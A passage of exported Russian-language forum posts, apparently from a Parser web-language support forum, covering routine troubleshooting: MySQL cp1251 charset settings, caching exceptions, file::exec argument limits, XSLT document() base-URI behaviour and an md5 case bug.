Зачем влазить и с пеной у рта начинать тут что-то кому-то доказывать?.."
"53269","В чипе..."
"53272","с методологией проведения сравнительного теста \
- производительности интерпретаторов \
- скорости разработки на этих интерпретаторах\
- стоимости внедрения и владения\
\
тогда и поговорим, ладно?"
"53277","SPECIAL 08'05. В то время (когда я его купил) я не обратил должного внимания. Сейчас просто попался подруку и я его перелистывал и вот наткнулся, решил зайти, попробовать..."
"53279","почему нельзя оставить одни объекты, немного расширив их свойства?\
(вместо таблицы объект->блок будет таблица объект->объект)\
\
а в целом, вопрос по такой причине:\
\
некоторые вещи, например, блоки рекламы не должны появляться, если зашел определенный пользователь\
\
у пользователя нельзя выставлять права на блок, однако был бы это объект, права можно было бы выставить, и, проверив их на стадии выборки блоков для объекта, отсеять ненужные блоки"
"53280","Незамысловатый код:\
\
[code]\
^cache[/../data/cache/foo](3*60*60){\
	$foo[^table::load[http://example.com/table.txt]]\
	^foo.menu{$foo.bar}\
}{\
	$exception.handled[cache]\
}\
[/code]\
\
Всё работало нормально месяца три. А сегодня на почту пришло 40 unhandled exception'ов, и все с ошибками http.connect, http.response и http.timeout. Понятно, что были неполадки с сервером, но почему $exception.handled[cache] не сработал? Кто-нибудь сталкивался с подобным поведением?"
"53281","как будет грамотно?\
\
создать ли объект edit (а также add и del) на ветке gbook,\
или преобразовать edit в action=edit и обработать в объекте gbook?"
"53283","Как узнать текущую директорию?\
не из строки запроса... а именно текущую директорию исполняемого в данный момент файла.\
\
У меня управление передаётся всегда на один файл, а потом он уже распределяет, на какой файл передать управление. Передали управления на этот файл и в нём мне нужно посмотреть текущую директорию (в котором он находится...) Это нужно для того чтоб сделать подгрузку файла из директории файла, на который передалось управление.\
Загрузка типа\
$loaded_table[^table::load[addresses.cfg]]\
не срабатывает, так как ищет этот файл в корневой директории, где расположен основной файл."
"53285","дело в том что т.к. файла реально у вас нет то узнать путь к нему не возможно :)"
"53292","вы пишите:\
[quote]Передали управления на этот файл и в нём мне нужно посмотреть текущую директорию[/quote]\
\
позвольте, а [b]как[/b] вы ему \"передаете управление\"?\
\
попробуйте такое:\
/your/sub/dir/index.html\
\
[code]@auto[sFileSpec]\
^throw[;=$sFileSpec=]\
[/code]\
\
а вообще мне кажется что вы избрали какой-то неправильный путь.\
зачем все собирать в кучку, чтобы потом опять разносить? если вам нужно выполнить что-то общее, то может вам поможет метод @auto[] корневого auto.p?\
\
если опишите задачу (а не выбранный вами путь её решения), может вам предложат более \"правильные\" (с точки зрения парсера) варианты."
"53295","можете посмотреть комментарий к полю IS_PARSED_MANUAL таблицы BLOCK в инструкции к Engine, возможно это то что вам нужно."
"53298","Вопрос вот в чем.\
Имеется сервер SuSE 9 на нем установлен MySQL 4.1.13.\
Имеется dump БД (из MySQL 4.0) в cp1251. В MySQL установлен default-character-set=cp1251. Заношу данные через #mysql < dump - они сразу же видятся в БД в виде ??????\
А если заносить данные через MySQLFront 2.2, то данные в нем же видятся нормально, но при этом на сайте все равно ???????? вместо русского языка.\
Пробовал ставить в строке подключеня парсера  (3.1.6) database?ClientCharset=windows-1251   не помогает.\
MySQL для каждой таблицы пишет Charset cp1251.\
Подскажите, где еще можно капать ? (Уже пробовал ставить и MYSQL 5  - история таже самая.)"
"53301","- если загрузить данные с помощью #mysql < dump, то из Front они видятся нормально?\
- из Front дайте комманду Show Variables и посмотрите на переменную character_set (а ещё лучше все переменные содержащие подстроку [b]character[/b])\
- парсером подключитесь к БД, выполните ту-же комманду и посмотрите на значение этой-же переменной\
- укажите, в какой кодировке у вас файлы и что указано в $request:charset\
- приведите все параметры вашей строки соединения (то, что после database). распечатайте её, чтобы убедиться что парсером используется именно она\
\
потом все это запостите сюда :)"
"53303","- если загрузить данные с помощью #mysql < dump, то из Front они видятся нормально?\
+++++++++\
Нет, точно так же ???????\
\
\
\
- из Front дайте комманду Show Variables и посмотрите на переменную character_set (а ещё лучше все переменные содержащие подстроку character)\
+++++++++++ (Из MySQL Adminictrator)\
character_set_client            utf8\
character_set_connection        utf8\
character_set_database          cp1251\
character_set_results           utf8\
character_set_server            cp1251\
character_set_system            utf8\
collation_connection            utf8_general_ci\
collation_database              cp1251_general_ci\
collation_server                cp1251_general_ci\
\
\
\
\
- парсером подключитесь к БД, выполните ту-же комманду и посмотрите на значение этой-же переменной\
+++++\
Из MySQL \
| character_set_client            | latin1                     |\
| character_set_connection        | latin1                     |\
| character_set_database          | cp1251                     |\
| character_set_results           | latin1                     |\
| character_set_server            | cp1251                     |\
| character_set_system            | utf8                       |\
| character_sets_dir              | /usr/share/mysql/charsets/ |\
| collation_connection            | latin1_swedish_ci          |\
| collation_database              | cp1251_general_ci          |\
| collation_server                | cp1251_general_ci \
\
Из Парсера\
\
character_set_client	latin1\
character_set_connection	latin1\
character_set_database	cp1251\
character_set_results	latin1\
character_set_server	cp1251\
character_set_system	utf8\
character_sets_dir	/usr/share/mysql/charsets/\
collation_connection	latin1_swedish_ci\
collation_database	cp1251_general_ci\
collation_server	cp1251_general_ci\
\
\
\
- укажите, в какой кодировке у вас файлы и что указано в $request:charset\
++++++++++++++++++++++\
1251\
$request:charset=WINDOWS-1251\
\
- приведите все параметры вашей строки соединения (то, что после database). распечатайте её, чтобы убедиться что парсером используется именно она\
++++++++++++++++++++++\
localhost/mydb?ClientCharset=windows-1251]\
\
И данные, заносимые Parser-ом тоже попадают В БД в виде ???????\
Я так понимаю, что дело в настройках MySQL, но такую переменную, как character_set_client не понятно, как изменить :("
"53305","чтобы загрузить данные из dump надо в начале этого dump написать:\
SET CHARACTER SET cp1251;\
\
с кодировками у вас запущено, смотрите:\
character_set_connection utf8\
character_set_database cp1251\
character_set_results utf8\
это означает что в вашей БД данные храняться в кодировке windows 1251, но SQL сервер ожидает что клиент ему их будет передавать в UTF-8 (и соотвт. он отдает их тоже в UTF-8)\
\
варианты как поправить ситуацию:\
1. в каждом соединении с сервером выполняйте SET CHARACTER SET cp1251, никаких параметров в строке соединения добавлять не надо.\
\
2. укажите ClientCharset=UTF-8 (можно пересоздать БД с кодировкой UTF-8, при этом в БД все будет храниться в UTF-8) и парсер вам будет делать перекодировки туда/обратно. в слечае если не пересоздавать БД, то будет делаться одно преобразование парсером, и одно - сервером, что не есть хорошо. Если пересоздать, то делаться будет только одно преобразование (парсером, что тоже не очень хорошо но лучше)\
\
3. так же можете настроить \
SET character_set_client = x;\
SET character_set_results = x;\
SET character_set_connection = x;\
http://dev.mysql.com/doc/refman/5.0/en/charset-connection.html"
"53309","Уже mysql клиент и MySQLFront пишут то, что надо\
| character_set_client            | cp1251                     |\
| character_set_connection        | cp1251                     |\
| character_set_database          | cp1251                     |\
| character_set_results           | cp1251                     |\
| character_set_server            | cp1251                     |\
| character_set_system            | utf8                       |\
| character_sets_dir              | /usr/share/mysql/charsets/ |\
| collation_connection            | cp1251_general_ci          |\
| collation_database              | cp1251_general_ci          |\
| collation_server                | cp1251_general_ci \
\
Оказалось, что когда создавал /etc/my.cnf  - дал ему права 750 под root-ом :) - соотв. клиент его не мог прочитать. Сейчас 644, клиенты стали читать, а parser пока еще нет :(\
\
character_set_client latin1 \
character_set_connection latin1 \
character_set_database cp1251 \
character_set_results latin1 \
character_set_server cp1251 \
character_set_system utf8 \
character_sets_dir /usr/share/mysql/charsets/ \
collation_connection latin1_swedish_ci \
collation_database cp1251_general_ci \
collation_server cp1251_general_ci"
"53310","парсерное ?charset=XYZ выполняет SET CHARACTER SET XYZ сразу после соединения, т.е. в вашем случае вам можно написать в строку соединения ?charset=cp1251 (но НЕ ClientCharset, т.к. последний заставляет парсер перекодировать все что будет оправляться/приниматься SQL-ю из $request:charset в 1251, но сервер все равно ожидает данные в character_set_client)\
\
P.S. для 3.xx серверов ?charset=cp1251 не канает по понятным причинам: там не было таких комманд, и SET CHARACTER SET означал несколько иное."
"53311","Огромное спасибо !!!!!!\
Все тут же заработало как надо !!!!\
Страно конечно, но раньше (на многих хостингах и других серерах) такой проблемы не возникало ....\
\
character_set_client cp1251 \
character_set_connection cp1251 \
character_set_database cp1251 \
character_set_results cp1251 \
character_set_server cp1251 \
character_set_system utf8 \
character_sets_dir /usr/share/mysql/charsets/ \
collation_connection cp1251_general_ci \
collation_database cp1251_general_ci \
collation_server cp1251_general_ci"
"53312","Здраствуйте . У меня есть инетрент магазин зделанный целиком на РНР , я хочу все навигацию и распределение элементов на странице зделать при помощи Parser , но у меня возникла проблема - если назвать файл к примеру index.html то работает код парсера , а если назвать index.php то код РНР . Как мне быть ? Можно ли что нибудь с этим сделать ?"
"53314","Прошу прощения за невнимательность"
"53316","В принципе можно и без них, но тогда будут очень большие обработчики (по 100kb). Блоки, в первую очередь, сделаны для удобства разделения данных на отдельные несвязанные кусочки данных, объеденённые в отдельный тип блоков по какому-то критерию. Также в блоках могут хранится как уже сгенерированный статический xml код так и динамически генерируемые данные, которые получаются после обработки блока его обработчиком. Не зря же написано, что блоки это самое интересное.\
\
[quote]\
некоторые вещи, например, блоки рекламы не должны появляться, если зашел определенный пользователь\
\
у пользователя нельзя выставлять права на блок, однако был бы это объект, права можно было бы выставить, и, проверив их на стадии выборки блоков для объекта, отсеять ненужные блоки\
[/quote]\
\
А кто Вам мешает проверять права пользователя в контексте обработчика объекта. Ведь вызов обработки блоков происходит в обработчике объекта. Например так:\
[code]\
^if(тут проверка прав пользователя){\
	^parseBlock[имя блока c рекламой]\
}\
[/code]"
"53317","а то раньше стоял 3 сервер - все работало. поставил 4.1, потом 5.0 - начал ругаться на несовместимость протоколов. при этом если я кладу libmySQL.dll из дистрибутива MySQL 4.1/5.0 в каталог к Front-у он просто не запускается. молча (гад).\
\
в общем напрягает не сильно (т.к. обычно подключаюсь к удаленным серверам), но иногда хочется покопаться им и в локальной БД."
"53318","фактически copy/paste вашего кода:\
[code]\
=^cache[/../data/cache/foo](60){\
	$f[^file::load[text;http://example.com/table.txt;\
		$.timeout(1)\
	]]\
	$f.text\
}{\
	$exception.handled[cache]\
#	$exception.handled(1)\
	cache file ^dtf:format[%Y-%m-%d %T]\
}=\
[/code]\
\
1. убираю комментарий, жму релоад: парсер обламывается на загрузке файла по http, но ошибка перехватывается и в её обработчике выводится время.\
\
2. ставлю комментарий обратно, жму релоад: моментально выдается из кеша текст со старым временем.\
\
3. жду пока пройдет минута, жму релоад: наблюдаю таймаут ожидания загрузки и потом выдается страница со старым временем.\
\
4. удаляю файл, жму релоад: наблюдаю таймаут и потом вижу ошибку, т.к. указано что надо выдать текст из кеша, а кеша нет."
"53320","только у нас тут например строго обратная тенденция намечается - все поля из объекта в блоки. плюс права давать на \"блок\". %-)"
"53321","однако в нашей практике это происходит редко (несмотря на то что такой обработчик состоит из 5 строк и пишется один раз для сайта).\
\
причина: в блоках мы в подавляющем большинстве храним тексты, отображаемые на страницах сайта (как это ни странно, но 90% всех страниц сайтов - обычные статические тексты, xml которых лежит в этих самых блоках).\
\
оставшиеся 10% - интерактив, реализованный на обработчиках блоков. эти обработчики или достают тексты из не связанный напрямую с таблицами engine sql таблицами или выполняют манипуляции с другими блоками (теми у которых установлен флаг is_parsed_manual или тех, которые лежат у какого-либо другого \"скрытого\" объекта).\
\
обработчиков объектов в моей практике никогда не было больше ~5 (обычно - 1, прописью: один)"
"53322","появляется возможность в обработчике перекрыть метод объекта и изменить его поведение. очень удобно, т.к. не надо по мелочам перекрывать engine.p.\
\
при этом на моей памяти не было проблем с тем, что кто-то перекрыл что-то лишнее. возможно просто до меня не дошла информация, а возможно что у каждого объекта бывает не так уж много разных обработчиков блоков, да и обработчики обычно или достаточно простые (пара методов) или создают и манипулируют каким-либо лишь им известным объектом.\
\
@main[] у нас переименовывается (я писал об этом) и с ним проблем не возникает."
"53323","чтобы потомки нашли?\
\
[что-то dpi у фотки не очень, может есть чуть подетальнее?]"
"53324","http://www.parser.ru/forum/?id=33412 \
\
однако это подходит для одной-двух-трёх страниц.\
\
если есть большой проект, в котором много чего происходит,\
описанный там подход совсем не годится, тогда линию разделения проще проводить по разным страницам. а общение разных кусков — через таблицы в базе данных."
"53325","это как если бы вы начали меня уверять,\
что\
[code]\
^eval(2*2)\
[/code]\
печатает -47.\
\
т.е., наверное, так и бывает, но код слишком прост, чтобы был такой эффект."
"53326","http://www.volgograd.ru/test.p3\
[code]\
^for[week](1;10){\
   $week - ^math:md5[${request:uri}]\
}[<br>]\
[/code]\
Особенность Apache - директива [quote]MaxRequestPerChild 20[/quote], поэтому иногда нужно набраться терпения и пощелкать reload-ом"
"53327","Можно поподробнее как это зделать ?\
И нельзя ли как нибудь указать парсеру чтобы он обрабатывал свой код из файлов с расширением php .\
\
Мне необходимо просто сделать чтобы разные части страницы собирал Parser (типо @TOP,@LEFT,@RIGHT), а куча остального кода на РНР ."
"53328","Здраствуйте.Поискал поиском не нашел ответа на свой вопрос .\
Проблема следущая - устанавливаю последную версию Swissknife(и с перлом и без него ) после установки при запуске не работает стартовая страница в 127.0.0.1 , пишет :\
[Wed May 31 01:02:34 2006] [error] [client 127.0.0.1] Unhandled exception 0xC0000005 at 0x01FD8F20 (цифорки могут быть разными в конце )\
И еще не работвет в меню не одна кнопка отвечающая за ini и т.д. файыл - пишет \"не могу открыть , проверьти вставлен ли диск в устойство\" ( в настройках панели все прописанно верно , ничего не менял и не переносил в другие паки ).\
И не запускается MySQL .\
И еще нашел в логе вот :\
\
PHP Warning:  Unknown(): Unable to load dynamic library 'c:/Apache_Swissknife/вебсервер/php/extensions/php_imap.dll' - Присоединенное к системе устройство не работает. in Unknown on line 0\
[Wed May 31 01:08:07 2006] [warn] (2)No such file or directory: exec() may not be safe\
[Wed May 31 01:08:08 2006] [warn] (2)No such file or directory: exec() may not be safe \
\
Вроде все :)."
"53329","В общем, я не то что передаю управление.... ^use[]... а внутри разные пути с файлами... Не хочу сейчас всё сгребать в 1 auto, а то запутаюсь... так же как вы  делайте классы..."
"53330","Если вдаваться в подробности... будет несколько папок. Там файлы отображения страницы.\
Разных видов страниц много, поэтому всё в кучу сгребать не хочу. Не думаю, конечно, что там будет 50 папок, но всё же...\
можно сказать так: одна папка - форум, вторая - информационные страницы, третья - новости, четвёртая - галлерея, пятая - магазин... и т.д. Это я к примеру сказал... структура сдругая..."
"53331","Планируется ли как-то изменить ситуацию с тем, что в ^file::exec и ^file::cgi можно указать максимум 12 аргументов в запускаемому скрипту? А то это вызывает ряд неприятных неудобств.\
\
Может сделать так?\
[code]^file::exec[имя файла;env_hash;хэш с аргументами][/code]\
или так\
[code]^file::exec[имя файла;env_hash;таблица с аргументами][/code]"
"53332","Пожалуйста, сделайте следующее:\
\
Пуск -> Выполнить -> winmsd.exe \
\
затем в меню Файл выберите \"Сохранить\" и пришлите мне на swissknife[гав!]bougakov.com зазипованным файл с расширением *.nfo, который у вас получится.\
\
Пока же по симптомам (две разных программы, PHP и контрольная панель, жалуются на отсутствие диска) - что-то у вас с системой или вы невежливо выдернули из компьютера USB-флэшку, не предупредив Windows"
"53333","\"Увеличено до 50 число допустимых параметров у скрипта, запускаемого file::cgi/exec  (было: 10).\"\
http://www.parser.ru/news/"
"53334","Просто локально стояла старая версия парсера и ругалась если параметров было больше 10. Обновился, все ок, спасибо!\
\
Хотя, имхо, предложение про аргументы в таблице имеет право на жизнь. Мне кажется это удобно"
"53335","DLL подменять бесполезно. Надо просто заводить юзера с OLD_PASSWORD - тогда и старая DLL будет работоспособна.\
\
Новых версий нет, т.к. автор проект бросил, а сырцы не отдал народу. Всё, что выходит под этим именем сейчас - новодел с кошмарным интерфейсом :-("
"53337","Хех у меня нет winmsd.exe :)\
Вполне возможно что дело в виндоусе - он работает последнее время не очень коректно . Переустановить бы его , но возможности щас такой нет ."
"53341","Всем привет!\
понадобилось сделать навигационное меню такого типа:\
Если находишься на главной странице то:\
\
[code]<ul>\
    <li><a href=\"/\">Home</a></li>\
    <li><a href=\"/portfolio/\">Portfolio</a></li>\
    <li><a href=\"/service/\">Service</a></li>\
</ul>[/code]\
\
Если находишься на странице портфолио то:\
\
[code]<ul>\
    <li><a href=\"/\">Home</a></li>\
    <li>Portfolio</li>\
    <ul>\
        <li><a href=\"/portfolio/grafics/\">Grafics</a></li>\
        <li><a href=\"/portfolio/sites/\">Sites</a></li>\
    </ul>\
    <li><a href=\"/service/\">Service</a></li>\
</ul>[/code]\
\
А если находишься на /portfolio/sites/1.html то:\
[code]<ul>\
    <li><a href=\"/\">Home</a></li>\
    <li><a href=\"/portfolio/\">Portfolio</a></li>\
    <ul>\
        <li><a href=\"/portfolio/grafics/\">Grafics</a></li>\
        <li>Sites</li>\
    </ul>\
    <li><a href=\"/service/\">Service</a></li>\
</ul>[/code]\
\
Подскажите как такое сделать, по возможности с примерами...\
p.s. В Парсере я новичёк поэтому за тупой вопрос сильно не пинайте ;)"
"53342","[code]\
$.1[first]\
$.2[second]\
...\
[/code]\
\
%-)"
"53347","Смысл примерно такоей.\
1. Нужно убедится, что my.cfg может читать mysql клиент . У меня вышло так, что я его делал из-под root-а , соответственно когда запускал от имени обычного пользователя (так же как и парсер), то он не читался и все установки charset-то клиент ставил по-умолчанию (сервер при этом все установки свои считывал)\
\
2. Не понятно почему, но когда я в этом разобрался (спасибо Мише), парсер все равно не считывал установки charset-ов. Помогло в строке подключения это \
$connect_string[mysql://myuser:password@localhost/mydb?charset=cp1251]\
Причем с такой проблемой столкнулся впервые. Обычно было хватало действий описанных тут http://www.parser.ru/examples/mysql_charsets/ , т.е. ставишь в секцию mysqld default-character-set=cp1251 и все сразу работает без проблем."
"53348","настораживает вот что:\
1. попробовал на freebsd и win32, не воспроизвалось\
2. в вашем случае для всех вызовов md5 при каком-то Reload при генерации страницы показывается upercase, а не происходит их смесь\
3. вижу что html страницы, который выдается моим тестовым файлом (copy/paste вашего примера + замена '${request:uri}' на '/test.p3') отличается от html-я, выдаваемого вашей страницей: иначе расставлены пробельные символы. у меня:\
[code]1 - 8e52f1d4e1cfa7ed96b4266ff6781b03\
<br>\
2 - 8e52f1d4e1cfa7ed96b4266ff6781b03\
<br>\
3 - 8e52f1d4e1cfa7ed96b4266ff6781b03\
<br>\
4 - 8e52f1d4e1cfa7ed96b4266ff6781b03\
<br>\
5 - 8e52f1d4e1cfa7ed96b4266ff6781b03\
<br>\
6 - 8e52f1d4e1cfa7ed96b4266ff6781b03\
<br>\
7 - 8e52f1d4e1cfa7ed96b4266ff6781b03\
<br>\
8 - 8e52f1d4e1cfa7ed96b4266ff6781b03\
<br>\
9 - 8e52f1d4e1cfa7ed96b4266ff6781b03\
<br>\
10 - 8e52f1d4e1cfa7ed96b4266ff6781b03\
[/code]\
у вас:\
[code]\
1 - 8e52f1d4e1cfa7ed96b4266ff6781b03\
<br> 2 - 8e52f1d4e1cfa7ed96b4266ff6781b03\
<br> 3 - 8e52f1d4e1cfa7ed96b4266ff6781b03\
<br> 4 - 8e52f1d4e1cfa7ed96b4266ff6781b03\
<br> 5 - 8e52f1d4e1cfa7ed96b4266ff6781b03\
<br> 6 - 8e52f1d4e1cfa7ed96b4266ff6781b03\
<br> 7 - 8e52f1d4e1cfa7ed96b4266ff6781b03\
<br> 8 - 8e52f1d4e1cfa7ed96b4266ff6781b03\
<br> 9 - 8e52f1d4e1cfa7ed96b4266ff6781b03\
<br> 10 - 8e52f1d4e1cfa7ed96b4266ff6781b03\
[/code]\
\
попробуйте убедиться, что после выдачи результатов их никто не модифицирует, например так: поместив ваш цикл в ^throw[;>>сюда<<] или поместив в переменную, и записав в файл (append)."
"53350","Делаем простенький класс\
[code]\
@CLASS\
exec\
\
@BASE\
file\
\
@exec[aPath;aEnvHash;aParams]\
  ^if($aParams is table){\
    $result[^process{^^BASE::exec[^$aPath^;^$aEnvHash^;^aParams.menu{$aParams.0}[^;]]}]\
  }{\
     ^throw[exec.create;Параметры должны быть неименованной таблицей с одним столбцом]\
   }\
[/code]\
\
... и зовем его, где нужно:\
[code]\
  ^use[exec.p]\
  $file[^exec::exec[last;;^table::create[nameless]{-10}]]\
[/code]"
"53351","Я бы с удовольствием сделал, если бы обладал неодходимыми навыками, но увы :("
"53352","Установлен парсер 3.2.1sp1 (compiled on i386-pc-win32)\
Код можно прям скопировать как есть, запустить и поковыряться:\
[code]\
# index.html\
@auto[]\
$response:content-type[text/xml]\
\
@main[]\
$doc[^xdoc::load[parser://dynamic_doc/root.xml]]\
$transformed_doc[^doc.transform[template.xsl]]\
^transformed_doc.string[]\
\
@dynamic_doc[url]\
$result[<include href=\"next/doc.xml\" base=\"$url\"/>]\
[/code]\
\
[code]\
<!-- template.xsl -->\
<xsl:stylesheet version=\"1.0\" xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\">\
\
<xsl:param name=\"depth\" select=\"2\"/>\
\
<xsl:template match=\"include\">\
<!-- атрибут base используется только как отладочная информация, сам документ запрашивается по относительному пути -->\
<doc base=\"{@base}\">\
    <xsl:if test=\"$depth > 0\">\
        <xsl:apply-templates select=\"document(@href)\">\
            <xsl:with-param name=\"depth\" select=\"$depth - 1\"/>\
        </xsl:apply-templates>\
    </xsl:if>\
</doc>\
</xsl:template>\
\
</xsl:stylesheet>\
[/code]\
\
Приведенный код в таком виде работает как положено. Но если аргумент функции document() будет браться не напрямую, а вычисляться, например:\
[code]\
document(string(@href))\
document(substring(сoncat('asdf', @href), 5)))\
...\
[/code]\
то документ почему-то уже запрашивается не по протоколу parser:, а пытается считаться с диска. Такое поведение случается только тогда, когда указан относительный путь, если указывать протокол, \"домен\" и базовый путь, то никаких сюрпризов не будет.\
\
Не знаю уж, фича это или нет, но для меня такое исключение из правил, мягко говоря, не самое приятное известие, т.к. никакие танцы с бубном вокруг этой проблемы не помогли. (Кстати говоря, меня несколько удивило, почему нельзя задать относительный путь такого вида: parser:next/doc.xml, т.е. с явным указанием протокола, так это возможно для относительных ссылок внутри html-страниц: <a href=\"http:../docs/\">[url=\"http:../docs/\"]документация[/url]</a> )\
\
В принципе, в некоторых случаях, переключиться с относительного пути по протоколу parser на относительный файловый путь с помощью string($path) было бы и удобно, особенно учитывая то, что абсолютные пути в xslt приходится указывать от корня диска. Но это уж очень неочевидная фича, к тому же она не дополняет, а перекрывает стандартное поведение, поэтому мне кажется, что все-таки здесь ошибка."
"53353","http://www.parser.ru/forum/?id=53324"
"53354","про 2: \
\
parser не читает my.cfg, ему надо это же самое отдельно растолковывать (уверен, все согласны, что чем меньше разных конфиг файлов, тем лучше)."
"53355","[конечно, не забываем про параметры с «;» внутри!]\
\
\
когда делал, сначала хотел сделать так же просто, как в perl \"system\", чтобы передавалась «командная строка».\
однако тогда запускается лишний процесс «интерпретатора командной строки» (читай, sh[ell]).\
\
этого хотелось избежать, соответственно, пришлось бы возиться с разбором кавычек и апострофов.\
\
все помнят, что параметры нельзя по пробелам разобрать?\
что бывают всякие \
[code]\
-C \"file name\"\
[/code]\
\
соответственно, бывает и дальше по списку:\
[code]\
-C file\\ name\
-C \"file'name\"\
-C 'file\"name'\
-C \"file\\\"name\"\
[/code]\
и прочие вариации. \
\
обязательно бы пришёл кто-нибудь, кто бы заявил, что сочетание \"\\/'\\/'\\/\" не отрабатывается «корректно», и настаивал на срочном исправлении.\
\
соответственно, решил, что этой радости мне не нужно, и предложил передать отдельные параметры программе отдельными параметрами функции. просто, понятно, логично.\
\
наконец, предположил, что количество параметров у программы — вещь ясная и фиксированная.\
\
моя позиция:\
есть внешний скрипт, которому нужно много данных на входе.\
как это принято в unix, этот скрипт принимает их на потоке стандартного ввода и проблем у него нет: parser может передать $.stdin[эти данные].\
\
если не так, и если скрипт наш собственный, то мы прекрасно понимаем, что можно пользоваться переменными окружения. они имеют красивые имена и не надо возиться с разбором ключиков и их значений.\
\
если скрипт чужой и хочет странного, всегда можно написать однострочный shell скрипт, который будет принимать значения из environment и передавать их ниже по течению в том виде, в котором того хочет странный скрипт:\
\
[code]\
^file::exec[/exec/assign_geonumber.sh;\
  $.ENDUSER_ID(6742403)\
  $.GEONUMBER[+440000000001]\
]\
[/code]\
\
assign_geonumber.sh:\
[code]\
#!/bin/sh\
\
/path/to/external/assign_geonumber -abonent $ENDUSER_ID -gnumber $GEONUMBER\
[/code]\
\
все помним, что у shell языка есть и циклы и всё, что пожелаешь, чтобы удовлетворить пожелания любых странных внешних скриптов.\
\
скрипты, придерживающиеся стандартного в unix подхода с большим объемом данных на stdin, в этом не нуждаются и запускаются по file::exec на раз."
"53356","мы и создали этот сайт.\
и все много лет отвечаем тут на их вопросы, по мере сил.\
\
пожалуйста, воспользуйтесь теми материалами, что мы для вас разместили на этом сайте.\
\
не нашли?\
пожалуйста, перечислите список мест, где вы тут посмотрели?"
"53358","Оказывается, если в предыдущем примере написать вот так:\
[code]\
<xsl:apply-templates select=\"document(string(@href), [b].[/b])\">\
[/code]\
то все будет работать нормально.\
Вот тут я процитирую абзац из справочника:\
[quote]Функция document() может принимать набор узлов в качестве второго аргумента, и в этом случае первый узел (в порядке следования в документе) из этого набора используется в качестве базового URI, относительно которого разрешаются относительные URI, заданные в первом аргументе.[/quote]\
\
Для меня остается загадкой следующее: какую информацию о базовом пути может предоставить узел, если он ее ни в каком виде не содержит, да и вообще почему нужно передавать параметром именно узел, а не строку с путем? Ну я бы еще понял, если бы у это узла или его предков был бы атрибут xml:base, но его же нет. Более того, относительные пути по протоколу parser: разрешаются средствами самого парсера, в чем и заключается большое удобсто, т.к. не нужно ничего явно прописывать.\
\
Ну да ладно, главное, что работает. Самое удивительно открытие для меня за сегодня можно компактно записать в 3 строчки:\
[code]\
<!-- см. пример, опубликованный ранее -->\
\
<!-- результаты одинаковые, используется протокол parser: --> \
<xsl:apply-templates select=\"document(@href)\">\
<xsl:apply-templates select=\"document(string(@href), .)\">\
\
<!-- а так происходит запрос к файлу, хрен знает почему: -->\
<xsl:apply-templates select=\"document(string(@href))\">\
[/code]\
\
Теперь, если вглядеться, можно заметить, что в первых двух вызовах в функцию передаются ноды, а в последнем - строка. Скорее всего, в этом и есть какой-то подвох.\
\
Хм, перечитав написанное, становится уже все гораздо понятнее. Наверное, так оно и есть, что парсер, создавая документ при вызове parser://dynamic_doc/ задает для него xml:base, который потом и будет считываться из функции document(), для чего ей и нужно передавать именно нод (или в первом аргументе, если он один, или во втором).\
\
Опс, теперь даже не нужно спрашивать у PAF'а, почему метод, вызываемый через parser://method/ может возвращать только строку, и почему не может сразу объект xdoc, что в некоторых случаях было бы удобно. Видимо как раз из-за этой фичи с относительными путями, и невозможностью потом поменять у созданного документа xml:base.\
\
Все, че-та я тут расфлудился..."
"53359","и побольше таких floods!\
\
я начал вам отвечать, поленившись почитать доку, и мой ответ вышел сумбурным (killed).\
\
но центральная точка непонятки, как раз, очень ясна:\
это точка относительности.\
относительно [b]чего[/b] вычисляется путь.\
\
мне очень понравилось, как красиво это решили авторы XSL стандарта. молодцы.\
\
\
про протокол parser://\
\
изначально он был задуман для… хранения XSL в базе данных.\
есть один пользователь Parser, обладающий изрядным даром убеждения, убедил меня в необходимости такого:\
[code]\
^xdoc.transform[parser://db/global.xsl]\
[/code]\
при этом global.xsl может содержать ссылки на другие документы, скажем, в «подкаталогах».\
\
обоснование тут может быть таким: файлы=плохо, база данных=хорошо. те, кто читал немного о кластеризации, отказоустойчивости, или имел дело со злобными хостерами, банально [b]запрещающими[/b] какую бы то ни было запись на диск, поймут.\
\
другое использование этого протокола… [i]не благословляется[/i]\
(c) НадписьНаШлагбаумеРядомСоСвятымИсточникомВТихоновойПустыни.\
\
да, можно программировать в-зад-иголочкой, но несчастные потомки скажут не спасибо.\
\
вопросы динамической сборки \
* исходного документа,\
* XSL шаблона,\
уже обсуждались << есть варианты безо всякого parser://\
\
\
нашей практике реально пока был всего 1 (один) случай, когда использование крошечной функции, дёрнутой через document(parser://helperFunc), было очень оправдано, поскольку съэкономило тонну кода (иначе там пришлось бы делать двухпроходный XSLT).\
кажется, уже рассказывал тут."
"53360","все ведь видели это:\
[code]\
static const char *hex=upcase?\"0123456789ABCDEF\":\"0123456789abcdef\";\
[/code]\
\
почитайте книжку по refactoring (c) smalex.\
он даже принёс книжку, как бы почитать.\
\
было static. \
потом добавилось требование с результатом в разном регистре, добавилась проверка.\
обе вещи по отдельности — правильны. вместе = bug.\
\
как исправлю, сообщу.\
кому нужно срочно: сотрите там \"static\"."
"53363","Как известно, при xsl-трансформациях на выходе не обязательно должен быть корректный xml, вполне возможно, что это будет и простой текст без каких-либо тегов. \
\
Так вот по-неосторожности в своем xsl я забыл написать шаблон для корневого элемента, и результирующее дерево получилось несколькими корневыми элементами. Раньше я об этом как-то не задумывался, да и сейчас бы не обратил внимания, ведь метод ^doc.string[] работает всегда безотказно. \
\
Но в целях отладки, да и просто из чисто эстетических побуждений я прогоняю оттрансформированные xml еще раз через xsl для их красивого вывода (ну не нравиться мне, что и IE, и FF показывают text/xml не моноширинным шрифтом). \
\
И каково же было мое удивление, когда некорректный xml (с двумя корневыми элементами) без каки-либо ошибок прошел трансформацию, даже не выругавшись!\
\
Вот небольшая сводка об этом чудо-явлении:\
[code]\
#здесь в результате трансформации будет xml с двумя корневыми node'ами\
#сейчас нет времени заморачиваться, но еще интереснее ситуация, когда transform вернет текст вообще без тегов ))\
$out_doc[^doc.transform[$xsl]]\
^if($out_doc.nodeType == $xdoc:DOCUMENT_NODE){да, да вы не ошиблись}\
$nodeset[^out_doc.select[/node]]\
Количество корневых элементов в документе: ^nodeset._count[]\
[/code]\
\
В принципе, не так уж и страшно, но по-хорошему было бы правильнее, если бы метод transform возвращал или xdoc или string, в зависимости от того, well-formed xml или нет. Чувствую, что парсер тут совсем не причем, а дело в libxml/xsl.\
\
